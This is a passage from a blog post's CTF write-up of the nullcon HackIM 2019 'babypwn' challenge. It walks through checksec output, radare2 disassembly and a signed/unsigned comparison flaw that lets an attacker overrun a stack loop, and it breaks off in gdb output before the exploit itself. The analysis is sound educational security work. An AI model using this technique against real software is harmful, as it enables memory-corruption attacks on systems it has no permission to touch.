{"id":1191,"date":"2019-02-03T11:12:09","date_gmt":"2019-02-03T11:12:09","guid":{"rendered":"https:\/\/devel0pment.de\/?p=1191"},"modified":"2019-02-03T20:03:19","modified_gmt":"2019-02-03T20:03:19","slug":"nullcon-hackim-2019-babypwn","status":"publish","type":"post","link":"https:\/\/devel0pment.de\/?p=1191","title":{"rendered":"nullcon HackIM 2019 &#8211; babypwn"},"content":{"rendered":"<p>\n<style>\n  .spanFlag {<br \/>\n    color:#0000ff;<br \/>\n    font-weight:bold;<br \/>\n  }<br \/>\n<\/style>\n<\/p>\n<p>The <a href=\"https:\/\/ctf.nullcon.net\/\" target=\"_blank\" rel=\"noopener\">nullcon HackIM 2019 CTF<\/a> (<a href=\"https:\/\/ctftime.org\/event\/741\" target=\"_blank\" rel=\"noopener\">ctftime.org<\/a>) ran from 01\/02\/2019, 16:30 UTC to 03\/02\/2019 04:30 UTC.<\/p>\n<p>I did the pwn challenge <i>babypwn<\/i>, which was really fun to do. The following article contains my writeup being divided into the following sections:<\/p>\n<p>\u2192 <a href=\"https:\/\/devel0pment.de\/?p=1191#chlg\">Challenge description<\/a><br>\u2192 <a href=\"https:\/\/devel0pment.de\/?p=1191#disass\">Security mechanisms and disassembly<\/a><br>\u2192 <a href=\"https:\/\/devel0pment.de\/?p=1191#signed\">Signedness vulnerabilitiy<\/a><br>\u2192 <a href=\"https:\/\/devel0pment.de\/?p=1191#format\">Format string vulnerabilitiy<\/a><br>\u2192 <a href=\"https:\/\/devel0pment.de\/?p=1191#final\">Final exploit<\/a><\/p>\n<p><!--more--><\/p>\n<hr>\n<h1>babypwn (495 pts)<\/h1>\n<h3 id=\"chlg\">Challenge description<\/h3>\n<p>As usual the challenge description provides the vulnerable binary as well as the ip\/port of the CTF server running it:<\/p>\n<p><img decoding=\"async\" class=\"alignnone size-full wp-image-1192\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/02\/nullcon19_chlg.png\" alt=\"\" width=\"422\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/02\/nullcon19_chlg.png 622w, https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/02\/nullcon19_chlg-300x252.png 300w\" sizes=\"(max-width: 622px) 100vw, 622px\" \/><\/p>\n<h3 id=\"disass\">Security mechanisms and disassembly<\/h3>\n<p>Let&#8217;s start by determining which security mechanisms are in place using <code>checksec<\/code>:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/nullcon19\/babypwn# checksec challenge\n&#x5B;*] &#039;\/root\/Documents\/nullcon19\/babypwn\/challenge&#039;\n    Arch:     amd64-64-little\n    RELRO:    Full RELRO\n    Stack:    Canary found\n    NX:       NX enabled\n    PIE:      No PIE (0x400000)\n\n<\/pre><\/div>\n\n<p>We have got <code>Full RELRO<\/code>, <code>Stack Canaries<\/code> and <code>NX enabled<\/code>. Nevertheless the binary is not position independent (<code>no PIE<\/code>), which means that the address of the binary itself are static.<\/p>\n<p>At next, let&#8217;s determine what the binary does analzing the disassembly using <code>radare2<\/code>:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,8,26,30]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/nullcon19\/babypwn# r2 -A challenge\n&#x5B;x] Analyze all flags starting with sym. and entry0 (aa)\n&#x5B;x] Analyze function calls (aac)\n&#x5B;x] Analyze len bytes of instructions for references (aar)\n&#x5B;x] Constructing a function name for fcn.* and sym.func.* functions (aan)\n&#x5B;x] Type matching analysis for all functions (afta)\n&#x5B;x] Use -AA or aaaa to perform additional experimental analysis.\n&#x5B;0x00400710]&gt; afl\n0x00400680    3 26           sym._init\n0x004006b0    1 6            sub.free_6b0\n0x004006b8    1 6            sub.puts_6b8\n0x004006c0    1 6            sub.__stack_chk_fail_6c0\n0x004006c8    1 6            sub.setbuf_6c8\n0x004006d0    1 6            sub.printf_6d0\n0x004006d8    1 6            sub.__libc_start_main_6d8\n0x004006e0    1 6            sub.__gmon_start_6e0\n0x004006e8    1 6            sub.malloc_6e8\n0x004006f0    1 6            sub.perror_6f0\n0x004006f8    1 6            sub.__isoc99_scanf_6f8\n0x00400700    1 6            sub.exit_700\n0x00400710    1 42           entry0\n0x00400740    4 50   -&gt; 41   sym.deregister_tm_clones\n0x00400780    4 58   -&gt; 55   sym.register_tm_clones\n0x004007c0    3 28           sym.__do_global_dtors_aux\n0x004007e0    4 38   -&gt; 35   entry1.init\n0x00400806   12 462          main\n0x004009e0    4 101          sym.__libc_csu_init\n0x00400a50    1 2            sym.__libc_csu_fini\n0x00400a54    1 9            sym._fini\n&#x5B;0x00400710]&gt; pdf @ main\n\/ (fcn) main 462\n|   main (int argc, char **argv, char **envp);\n|           ; var int local_6ah @ rbp-0x6a\n|           ; var unsigned int local_69h @ rbp-0x69\n|           ; var int local_68h @ rbp-0x68\n|           ; var int local_60h @ rbp-0x60\n|           ; var int local_10h @ rbp-0x10\n|           ; var int local_8h @ rbp-0x8\n|           ; DATA XREF from entry0 (0x40072d)\n|           0x00400806      55             push rbp\n|           0x00400807      4889e5         mov rbp, rsp\n|           0x0040080a      4883ec70       sub rsp, 0x70               ; &#039;p&#039;\n|           0x0040080e      64488b042528.  mov rax, qword fs:&#x5B;0x28]    ; &#x5B;0x28:8]=-1 ; &#039;(&#039; ; 40\n|           0x00400817      488945f8       mov qword &#x5B;local_8h], rax\n|           0x0040081b      31c0           xor eax, eax\n|           0x0040081d      488b05fc0720.  mov rax, qword &#x5B;obj.stdin__GLIBC_2.2.5] ; &#x5B;0x601020:8]=0\n|           0x00400824      be00000000     mov esi, 0\n|           0x00400829      4889c7         mov rdi, rax\n|           0x0040082c      e897feffff     call sub.setbuf_6c8\n|           0x00400831      488b05d80720.  mov rax, qword &#x5B;obj.stdout__GLIBC_2.2.5] ; obj.__TMC_END ; &#x5B;0x601010:8]=0\n|           0x00400838      be00000000     mov esi, 0\n|           0x0040083d      4889c7         mov rdi, rax\n|           0x00400840      e883feffff     call sub.setbuf_6c8\n|           0x00400845      c6459600       mov byte &#x5B;local_6ah], 0\n|           0x00400849      bf680a4000     mov edi, str.Create_a_tressure_box ; 0x400a68 ; &quot;Create a tressure box?\\r&quot;\n|           0x0040084e      e865feffff     call sub.puts_6b8\n|           0x00400853      488d45f0       lea rax, qword &#x5B;local_10h]\n|           0x00400857      4889c6         mov rsi, rax\n|           0x0040085a      bf800a4000     mov edi, 0x400a80\n|           0x0040085f      b800000000     mov eax, 0\n|           0x00400864      e88ffeffff     call sub.__isoc99_scanf_6f8\n|           0x00400869      0fb645f0       movzx eax, byte &#x5B;local_10h]\n|           0x0040086d      3c79           cmp al, 0x79                ; &#039;y&#039; ; 121\n|       ,=&lt; 0x0040086f      741c           je 0x40088d\n|       |   0x00400871      0fb645f0       movzx eax, byte &#x5B;local_10h]\n|       |   0x00400875      3c59           cmp al, 0x59                ; &#039;Y&#039; ; 89\n|      ,==&lt; 0x00400877      7414           je 0x40088d\n|      ||   0x00400879      bf840a4000     mov edi, str.Bye            ; 0x400a84 ; &quot;Bye!\\r&quot;\n|      ||   0x0040087e      e835feffff     call sub.puts_6b8\n|      ||   0x00400883      b800000000     mov eax, 0\n|     ,===&lt; 0x00400888      e931010000     jmp 0x4009be\n|     |||   ; CODE XREFS from main (0x40086f, 0x400877)\n|     |``-&gt; 0x0040088d      bf8a0a4000     mov edi, str.name:          ; 0x400a8a ; &quot;name: &quot;\n|     |     0x00400892      b800000000     mov eax, 0\n|     |     0x00400897      e834feffff     call sub.printf_6d0\n|     |     0x0040089c      bf64000000     mov edi, 0x64               ; &#039;d&#039; ; 100\n|     |     0x004008a1      e842feffff     call sub.malloc_6e8\n|     |     0x004008a6      48894598       mov qword &#x5B;local_68h], rax\n|     |     0x004008aa      488b4598       mov rax, qword &#x5B;local_68h]\n|     |     0x004008ae      48b954726573.  movabs rcx, 0x6572757373657254 ; &#039;Tressure&#039;\n|     |     0x004008b8      488908         mov qword &#x5B;rax], rcx\n|     |     0x004008bb      c7400820426f.  mov dword &#x5B;rax + 8], 0x786f4220 ; &#039; Box&#039; ; &#x5B;0x786f4220:4]=-1\n|     |     0x004008c2      66c7400c3a20   mov word &#x5B;rax + 0xc], 0x203a ; &#039;: &#039; ; &#x5B;0x203a:2]=0xffff\n|     |     0x004008c8      c6400e00       mov byte &#x5B;rax + 0xe], 0\n|     |     0x004008cc      488b4598       mov rax, qword &#x5B;local_68h]\n|     |     0x004008d0      4883c00e       add rax, 0xe\n|     |     0x004008d4      4889c6         mov rsi, rax\n|     |     0x004008d7      bf910a4000     mov edi, str.50s            ; 0x400a91 ; &quot;%50s&quot;\n|     |     0x004008dc      b800000000     mov eax, 0\n|     |     0x004008e1      e812feffff     call sub.__isoc99_scanf_6f8\n|     |     0x004008e6      488b4598       mov rax, qword &#x5B;local_68h]\n|     |     0x004008ea      48c7c1ffffff.  mov rcx, -1\n|     |     0x004008f1      4889c2         mov rdx, rax\n|     |     0x004008f4      b800000000     mov eax, 0\n|     |     0x004008f9      4889d7         mov rdi, rdx\n|     |     0x004008fc      f2ae           repne scasb al, byte &#x5B;rdi]\n|     |     0x004008fe      4889c8         mov rax, rcx\n|     |     0x00400901      48f7d0         not rax\n|     |     0x00400904      488d50ff       lea rdx, qword &#x5B;rax - 1]\n|     |     0x00400908      488b4598       mov rax, qword &#x5B;local_68h]\n|     |     0x0040090c      4801d0         add rax, rdx                ; &#039;(&#039;\n|     |     0x0040090f      48be20637265.  movabs rsi, 0x6465746165726320 ; &#039; created&#039;\n|     |     0x00400919      488930         mov qword &#x5B;rax], rsi\n|     |     0x0040091c      c74008210d0a.  mov dword &#x5B;rax + 8], 0xa0d21 ; &#x5B;0xa0d21:4]=-1\n|     |     0x00400923      bf960a4000     mov edi, str.How_many_coins_do_you_have ; 0x400a96 ; &quot;How many coins do you have?\\r&quot;\n|     |     0x00400928      e88bfdffff     call sub.puts_6b8\n|     |     0x0040092d      488d4596       lea rax, qword &#x5B;local_6ah]\n|     |     0x00400931      4889c6         mov rsi, rax\n|     |     0x00400934      bfb30a4000     mov edi, str.hhu            ; 0x400ab3 ; &quot;%hhu&quot;\n|     |     0x00400939      b800000000     mov eax, 0\n|     |     0x0040093e      e8b5fdffff     call sub.__isoc99_scanf_6f8\n|     |     0x00400943      0fb64596       movzx eax, byte &#x5B;local_6ah]\n|     |     0x00400947      3c14           cmp al, 0x14                ; 20\n|     | ,=&lt; 0x00400949      7e14           jle 0x40095f\n|     | |   0x0040094b      bfb80a4000     mov edi, str.Coins_that_many_are_not_supported_: ; 0x400ab8 ; &quot;Coins that many are not supported :\/\\r\\n&quot;\n|     | |   0x00400950      e89bfdffff     call sub.perror_6f0\n|     | |   0x00400955      bf01000000     mov edi, 1\n|     | |   0x0040095a      e8a1fdffff     call sub.exit_700\n|     | |   ; CODE XREF from main (0x400949)\n|     | `-&gt; 0x0040095f      c6459700       mov byte &#x5B;local_69h], 0\n|     | ,=&lt; 0x00400963      eb2e           jmp 0x400993\n|     | |   ; CODE XREF from main (0x40099a)\n|     |.--&gt; 0x00400965      0fb65597       movzx edx, byte &#x5B;local_69h]\n|     |:|   0x00400969      488d45a0       lea rax, qword &#x5B;local_60h]\n|     |:|   0x0040096d      4863d2         movsxd rdx, edx\n|     |:|   0x00400970      48c1e202       shl rdx, 2\n|     |:|   0x00400974      4801d0         add rax, rdx                ; &#039;(&#039;\n|     |:|   0x00400977      4889c6         mov rsi, rax\n|     |:|   0x0040097a      bfdf0a4000     mov edi, 0x400adf\n|     |:|   0x0040097f      b800000000     mov eax, 0\n|     |:|   0x00400984      e86ffdffff     call sub.__isoc99_scanf_6f8\n|     |:|   0x00400989      0fb64597       movzx eax, byte &#x5B;local_69h]\n|     |:|   0x0040098d      83c001         add eax, 1\n|     |:|   0x00400990      884597         mov byte &#x5B;local_69h], al\n|     |:|   ; CODE XREF from main (0x400963)\n|     |:`-&gt; 0x00400993      0fb64596       movzx eax, byte &#x5B;local_6ah]\n|     |:    0x00400997      384597         cmp byte &#x5B;local_69h], al    ; &#x5B;0x2:1]=255 ; 2\n|     |`==&lt; 0x0040099a      72c9           jb 0x400965\n|     |     0x0040099c      488b4598       mov rax, qword &#x5B;local_68h]\n|     |     0x004009a0      4889c7         mov rdi, rax\n|     |     0x004009a3      b800000000     mov eax, 0\n|     |     0x004009a8      e823fdffff     call sub.printf_6d0\n|     |     0x004009ad      488b4598       mov rax, qword &#x5B;local_68h]\n|     |     0x004009b1      4889c7         mov rdi, rax\n|     |     0x004009b4      e8f7fcffff     call sub.free_6b0\n|     |     0x004009b9      b800000000     mov eax, 0\n|     |     ; CODE XREF from main (0x400888)\n|     `---&gt; 0x004009be      488b4df8       mov rcx, qword &#x5B;local_8h]\n|           0x004009c2      6448330c2528.  xor rcx, qword fs:&#x5B;0x28]\n|       ,=&lt; 0x004009cb      7405           je 0x4009d2\n|       |   0x004009cd      e8eefcffff     call sub.__stack_chk_fail_6c0\n|       |   ; CODE XREF from main (0x4009cb)\n|       `-&gt; 0x004009d2      c9             leave\n\\           0x004009d3      c3             ret\n&#x5B;0x00400710]&gt;\n\n<\/pre><\/div>\n\n<p>The only user defined function is the <code>main<\/code> function.<\/p>\n<p>At the beginning the buffering for <code>stdin<\/code> and <code>stdout<\/code> is disabled:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,4,5,8]; title: ; notranslate\" title=\"\">\n|           0x0040081d      488b05fc0720.  mov rax, qword &#x5B;obj.stdin__GLIBC_2.2.5] ; &#x5B;0x601020:8]=0\n|           0x00400824      be00000000     mov esi, 0\n|           0x00400829      4889c7         mov rdi, rax\n|           0x0040082c      e897feffff     call sub.setbuf_6c8\n|           0x00400831      488b05d80720.  mov rax, qword &#x5B;obj.stdout__GLIBC_2.2.5] ; obj.__TMC_END ; &#x5B;0x601010:8]=0\n|           0x00400838      be00000000     mov esi, 0\n|           0x0040083d      4889c7         mov rdi, rax\n|           0x00400840      e883feffff     call sub.setbuf_6c8\n\n<\/pre><\/div>\n\n<p>After this the message <code>\"Create a tressure box?\\r\"<\/code> is displayed and <code>scanf<\/code> is called to read two characters \/ one character + null byte (<code>\"%2s\"<\/code>):<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,5,7,9,10]; title: ; notranslate\" title=\"\">\n|           0x00400849      bf680a4000     mov edi, str.Create_a_tressure_box ; 0x400a68 ; &quot;Create a tressure box?\\r&quot;\n|           0x0040084e      e865feffff     call sub.puts_6b8\n|           0x00400853      488d45f0       lea rax, qword &#x5B;local_10h]\n|           0x00400857      4889c6         mov rsi, rax\n|           0x0040085a      bf800a4000     mov edi, 0x400a80\n|           0x0040085f      b800000000     mov eax, 0\n|           0x00400864      e88ffeffff     call sub.__isoc99_scanf_6f8\n...\n&#x5B;0x00400710]&gt; ps @ 0x400a80\n%2s\n\n<\/pre><\/div>\n\n<p>If the input neither equals <code>y<\/code>, nor <code>Y<\/code>, the program is quit (<code>jmp 0x4009be<\/code>):<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [2,5,7,10]; title: ; notranslate\" title=\"\">\n|           0x00400869      0fb645f0       movzx eax, byte &#x5B;local_10h]\n|           0x0040086d      3c79           cmp al, 0x79                ; &#039;y&#039; ; 121\n|       ,=&lt; 0x0040086f      741c           je 0x40088d\n|       |   0x00400871      0fb645f0       movzx eax, byte &#x5B;local_10h]\n|       |   0x00400875      3c59           cmp al, 0x59                ; &#039;Y&#039; ; 89\n|      ,==&lt; 0x00400877      7414           je 0x40088d\n|      ||   0x00400879      bf840a4000     mov edi, str.Bye            ; 0x400a84 ; &quot;Bye!\\r&quot;\n|      ||   0x0040087e      e835feffff     call sub.puts_6b8\n|      ||   0x00400883      b800000000     mov eax, 0\n|     ,===&lt; 0x00400888      e931010000     jmp 0x4009be\n\n<\/pre><\/div>\n\n<p>Otherwise the following instructions are executed, which:<\/p>\n<ul>\n<li>Print the message <code>\"name: \"<\/code>.<\/li>\n<li>Allocate 100 (0x64) byte on the heap using <code>malloc<\/code>.<\/li>\n<li>Insert the string <code>\"Tressure Box: \"<\/code> at the beginning of those 100 byte.<\/li>\n<li>Call <code>scanf<\/code> to read up to 50 bytes after the string (<code>\"%50s\"<\/code>).<\/li>\n<li>Append the string <code>\" created!\"<\/code>.<\/li>\n<\/ul>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,3,4,5,8,10,11,16,18,30,31,32]; title: ; notranslate\" title=\"\">\n|     |``-&gt; 0x0040088d      bf8a0a4000     mov edi, str.name:          ; 0x400a8a ; &quot;name: &quot;\n|     |     0x00400892      b800000000     mov eax, 0\n|     |     0x00400897      e834feffff     call sub.printf_6d0\n|     |     0x0040089c      bf64000000     mov edi, 0x64               ; &#039;d&#039; ; 100\n|     |     0x004008a1      e842feffff     call sub.malloc_6e8\n|     |     0x004008a6      48894598       mov qword &#x5B;local_68h], rax\n|     |     0x004008aa      488b4598       mov rax, qword &#x5B;local_68h]\n|     |     0x004008ae      48b954726573.  movabs rcx, 0x6572757373657254 ; &#039;Tressure&#039;\n|     |     0x004008b8      488908         mov qword &#x5B;rax], rcx\n|     |     0x004008bb      c7400820426f.  mov dword &#x5B;rax + 8], 0x786f4220 ; &#039; Box&#039; ; &#x5B;0x786f4220:4]=-1\n|     |     0x004008c2      66c7400c3a20   mov word &#x5B;rax + 0xc], 0x203a ; &#039;: &#039; ; &#x5B;0x203a:2]=0xffff\n|     |     0x004008c8      c6400e00       mov byte &#x5B;rax + 0xe], 0\n|     |     0x004008cc      488b4598       mov rax, qword &#x5B;local_68h]\n|     |     0x004008d0      4883c00e       add rax, 0xe\n|     |     0x004008d4      4889c6         mov rsi, rax\n|     |     0x004008d7      bf910a4000     mov edi, str.50s            ; 0x400a91 ; &quot;%50s&quot;\n|     |     0x004008dc      b800000000     mov eax, 0\n|     |     0x004008e1      e812feffff     call sub.__isoc99_scanf_6f8\n|     |     0x004008e6      488b4598       mov rax, qword &#x5B;local_68h]\n|     |     0x004008ea      48c7c1ffffff.  mov rcx, -1\n|     |     0x004008f1      4889c2         mov rdx, rax\n|     |     0x004008f4      b800000000     mov eax, 0\n|     |     0x004008f9      4889d7         mov rdi, rdx\n|     |     0x004008fc      f2ae           repne scasb al, byte &#x5B;rdi]\n|     |     0x004008fe      4889c8         mov rax, rcx\n|     |     0x00400901      48f7d0         not rax\n|     |     0x00400904      488d50ff       lea rdx, qword &#x5B;rax - 1]\n|     |     0x00400908      488b4598       mov rax, qword &#x5B;local_68h]\n|     |     0x0040090c      4801d0         add rax, rdx                ; &#039;(&#039;\n|     |     0x0040090f      48be20637265.  movabs rsi, 0x6465746165726320 ; &#039; created&#039;\n|     |     0x00400919      488930         mov qword &#x5B;rax], rsi\n|     |     0x0040091c      c74008210d0a.  mov dword &#x5B;rax + 8], 0xa0d21 ; &#x5B;0xa0d21:4]=-1\n\n<\/pre><\/div>\n\n<p>At next the message <code>\"How many coins do you have?\\r\"<\/code> is printed and an unsigned char (<code>\"%hhu\"<\/code>) is read. If the input is greater than 20 (0x14), the program is quit:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,2,5,7,9,11,14]; title: ; notranslate\" title=\"\">\n|     |     0x00400923      bf960a4000     mov edi, str.How_many_coins_do_you_have ; 0x400a96 ; &quot;How many coins do you have?\\r&quot;\n|     |     0x00400928      e88bfdffff     call sub.puts_6b8\n|     |     0x0040092d      488d4596       lea rax, qword &#x5B;local_6ah]\n|     |     0x00400931      4889c6         mov rsi, rax\n|     |     0x00400934      bfb30a4000     mov edi, str.hhu            ; 0x400ab3 ; &quot;%hhu&quot;\n|     |     0x00400939      b800000000     mov eax, 0\n|     |     0x0040093e      e8b5fdffff     call sub.__isoc99_scanf_6f8\n|     |     0x00400943      0fb64596       movzx eax, byte &#x5B;local_6ah]\n|     |     0x00400947      3c14           cmp al, 0x14                ; 20\n|     | ,=&lt; 0x00400949      7e14           jle 0x40095f\n|     | |   0x0040094b      bfb80a4000     mov edi, str.Coins_that_many_are_not_supported_: ; 0x400ab8 ; &quot;Coins that many are not supported :\/\\r\\n&quot;\n|     | |   0x00400950      e89bfdffff     call sub.perror_6f0\n|     | |   0x00400955      bf01000000     mov edi, 1\n|     | |   0x0040095a      e8a1fdffff     call sub.exit_700\n\n<\/pre><\/div>\n\n<p>Otherwise the following loop iterates over <code>0 .. n<\/code> (<code>n<\/code> being our previous input) reading a signed integer (<code>\"%d\"<\/code>) to <code>[local_60h + i&lt;&lt;2]<\/code> on each iteration:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,5,7,8,9,10,12,18,21,22]; title: ; notranslate\" title=\"\">\n|     | `-&gt; 0x0040095f      c6459700       mov byte &#x5B;local_69h], 0\n|     | ,=&lt; 0x00400963      eb2e           jmp 0x400993\n|     | |   ; CODE XREF from main (0x40099a)\n|     |.--&gt; 0x00400965      0fb65597       movzx edx, byte &#x5B;local_69h]\n|     |:|   0x00400969      488d45a0       lea rax, qword &#x5B;local_60h]\n|     |:|   0x0040096d      4863d2         movsxd rdx, edx\n|     |:|   0x00400970      48c1e202       shl rdx, 2\n|     |:|   0x00400974      4801d0         add rax, rdx                ; &#039;(&#039;\n|     |:|   0x00400977      4889c6         mov rsi, rax\n|     |:|   0x0040097a      bfdf0a4000     mov edi, 0x400adf\n|     |:|   0x0040097f      b800000000     mov eax, 0\n|     |:|   0x00400984      e86ffdffff     call sub.__isoc99_scanf_6f8\n|     |:|   0x00400989      0fb64597       movzx eax, byte &#x5B;local_69h]\n|     |:|   0x0040098d      83c001         add eax, 1\n|     |:|   0x00400990      884597         mov byte &#x5B;local_69h], al\n|     |:|   ; CODE XREF from main (0x400963)\n|     |:`-&gt; 0x00400993      0fb64596       movzx eax, byte &#x5B;local_6ah]\n|     |:    0x00400997      384597         cmp byte &#x5B;local_69h], al    ; &#x5B;0x2:1]=255 ; 2\n|     |`==&lt; 0x0040099a      72c9           jb 0x400965\n...\n&#x5B;0x00400710]&gt; ps @ 0x400adf\n%d\n\n<\/pre><\/div>\n\n<p>At the end the string stored at <code>local_68h<\/code> (<code>\"Tressure Box: \" ... our input ... \" created!\"<\/code>) is passed to <code>printf<\/code> and the formerly allocated 100 byte are deallocated using <code>free<\/code>. At the very end we can see the stack canary in place:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,2,4,7,10,11,13]; title: ; notranslate\" title=\"\">\n|     |     0x0040099c      488b4598       mov rax, qword &#x5B;local_68h]\n|     |     0x004009a0      4889c7         mov rdi, rax\n|     |     0x004009a3      b800000000     mov eax, 0\n|     |     0x004009a8      e823fdffff     call sub.printf_6d0\n|     |     0x004009ad      488b4598       mov rax, qword &#x5B;local_68h]\n|     |     0x004009b1      4889c7         mov rdi, rax\n|     |     0x004009b4      e8f7fcffff     call sub.free_6b0\n|     |     0x004009b9      b800000000     mov eax, 0\n|     |     ; CODE XREF from main (0x400888)\n|     `---&gt; 0x004009be      488b4df8       mov rcx, qword &#x5B;local_8h]\n|           0x004009c2      6448330c2528.  xor rcx, qword fs:&#x5B;0x28]\n|       ,=&lt; 0x004009cb      7405           je 0x4009d2\n|       |   0x004009cd      e8eefcffff     call sub.__stack_chk_fail_6c0\n|       |   ; CODE XREF from main (0x4009cb)\n|       `-&gt; 0x004009d2      c9             leave\n\\           0x004009d3      c3             ret\n\n<\/pre><\/div>\n\n<p>A quick exemplary run of the binary:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/nullcon19\/babypwn# .\/challenge\nCreate a tressure box?\ny\nname: AAAA\nHow many coins do you have?\n2\n100\n200\nTressure Box: AAAA created!\n\n<\/pre><\/div>\n\n<p>After determining what the binary does, let&#8217;s spot the vulnerabilities.<\/p>\n<h3 id=\"signed\">Signedness vulnerabilitiy<\/h3>\n<p>The first one is a <b>signedness vulnerabilitiy<\/b>, which resides in the following lines of disassembly:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,5,6]; title: ; notranslate\" title=\"\">\n|     |     0x00400934      bfb30a4000     mov edi, str.hhu            ; 0x400ab3 ; &quot;%hhu&quot;\n|     |     0x00400939      b800000000     mov eax, 0\n|     |     0x0040093e      e8b5fdffff     call sub.__isoc99_scanf_6f8\n|     |     0x00400943      0fb64596       movzx eax, byte &#x5B;local_6ah]\n|     |     0x00400947      3c14           cmp al, 0x14                ; 20\n|     | ,=&lt; 0x00400949      7e14           jle 0x40095f\n\n<\/pre><\/div>\n\n<p>These lines read the number of coins we have, which will later be used as the boundary for the loop reading signed integers.<\/p>\n<p>Although the number is read as an unsigned char (<code>\"%hhu\"<\/code>), the comparison made is signed (<code>jle<\/code>).<\/p>\n<p>To understand the difference consider the following example program:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [6,9]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/nullcon19\/babypwn\/example# cat signed_unsigned.c\n#include &lt;stdio.h&gt;\n\nint main() {\n\n  char x = -10;\n  if (x &gt; 20) printf(&quot;x too large!\\n&quot;);\n\n  unsigned char y = -10;\n  if (y &gt; 20) printf(&quot;y too large!\\n&quot;);\n\n  return 0;\n}\n\n<\/pre><\/div>\n\n<p>And the related disassembly:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [10,11,16,17]; title: ; notranslate\" title=\"\">\n\/ (fcn) main 59\n|   main (int argc, char **argv, char **envp);\n|           ; var unsigned int local_2h @ rbp-0x2\n|           ; var signed int local_1h @ rbp-0x1\n|           ; DATA XREF from entry0 (0x106d)\n|           0x00001135      55             push rbp\n|           0x00001136      4889e5         mov rbp, rsp\n|           0x00001139      4883ec10       sub rsp, 0x10\n|           0x0000113d      c645fff6       mov byte &#x5B;local_1h], 0xf6\n|           0x00001141      807dff14       cmp byte &#x5B;local_1h], 0x14   ; &#x5B;0x14:1]=1\n|       ,=&lt; 0x00001145      7e0c           jle 0x1153\n|       |   0x00001147      488d3db60e00.  lea rdi, qword str.x_too_large ; 0x2004 ; &quot;x too large!&quot; ; const char *s\n|       |   0x0000114e      e8ddfeffff     call sym.imp.puts           ; int puts(const char *s)\n|       |   ; CODE XREF from main (0x1145)\n|       `-&gt; 0x00001153      c645fef6       mov byte &#x5B;local_2h], 0xf6\n|           0x00001157      807dfe14       cmp byte &#x5B;local_2h], 0x14   ; &#x5B;0x14:1]=1\n|       ,=&lt; 0x0000115b      760c           jbe 0x1169\n|       |   0x0000115d      488d3dad0e00.  lea rdi, qword str.y_too_large ; 0x2011 ; &quot;y too large!&quot; ; const char *s\n|       |   0x00001164      e8c7feffff     call sym.imp.puts           ; int puts(const char *s)\n|       |   ; CODE XREF from main (0x115b)\n|       `-&gt; 0x00001169      b800000000     mov eax, 0\n|           0x0000116e      c9             leave\n\\           0x0000116f      c3             ret\n\n<\/pre><\/div>\n\n<p>For the <code>signed char<\/code> the instruction <code>jle<\/code> is used, while for the <code>unsigned char<\/code> the instruction <code>jbe<\/code> is used.<\/p>\n<p>This means that for negative numbers (<code>-10<\/code>) the boundary check for the <code>signed char<\/code> (<code>x &gt; 20<\/code>) is not violated:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [3]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/nullcon19\/babypwn\/example# gcc signed_unsigned.c -o signed_unsigned\nroot@kali:~\/Documents\/nullcon19\/babypwn\/example# .\/signed_unsigned\ny too large!\n\n<\/pre><\/div>\n\n<p>By entering <code>-1<\/code> for the number of coins we have, we do not violate the boundary check, but the loop will iterate until <code>i<\/code> is smaller than <code>-1 = 0xff = 255<\/code>. On each iteration we can input a signed integer (4 byte). Let&#8217;s have a look at where we can write to using <code>gdb<\/code>:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [5,12]; title: ; notranslate\" title=\"\">\n&#x5B;-------------------------------------code-------------------------------------]\n   0x400977 &lt;main+369&gt;: mov    rsi,rax\n   0x40097a &lt;main+372&gt;: mov    edi,0x400adf\n   0x40097f &lt;main+377&gt;: mov    eax,0x0\n=&gt; 0x400984 &lt;main+382&gt;: call   0x4006f8 &lt;__isoc99_scanf@plt&gt;\n   0x400989 &lt;main+387&gt;: movzx  eax,BYTE PTR &#x5B;rbp-0x69]\n   0x40098d &lt;main+391&gt;: add    eax,0x1\n   0x400990 &lt;main+394&gt;: mov    BYTE PTR &#x5B;rbp-0x69],al\n   0x400993 &lt;main+397&gt;: movzx  eax,BYTE PTR &#x5B;rbp-0x6a]\nGuessed arguments:\narg&#x5B;0]: 0x400adf --&gt; 0x31b010000006425\narg&#x5B;1]: 0x7fffffffe470 --&gt; 0xc2\narg&#x5B;2]: 0x0\n&#x5B;------------------------------------stack-------------------------------------]\n0000| 0x7fffffffe460 --&gt; 0xff000000000000\n0008| 0x7fffffffe468 --&gt; 0x602260 (&quot;Tressure Box: AAAA created!\\r\\n&quot;)\n0016| 0x7fffffffe470 --&gt; 0xc2\n0024| 0x7fffffffe478 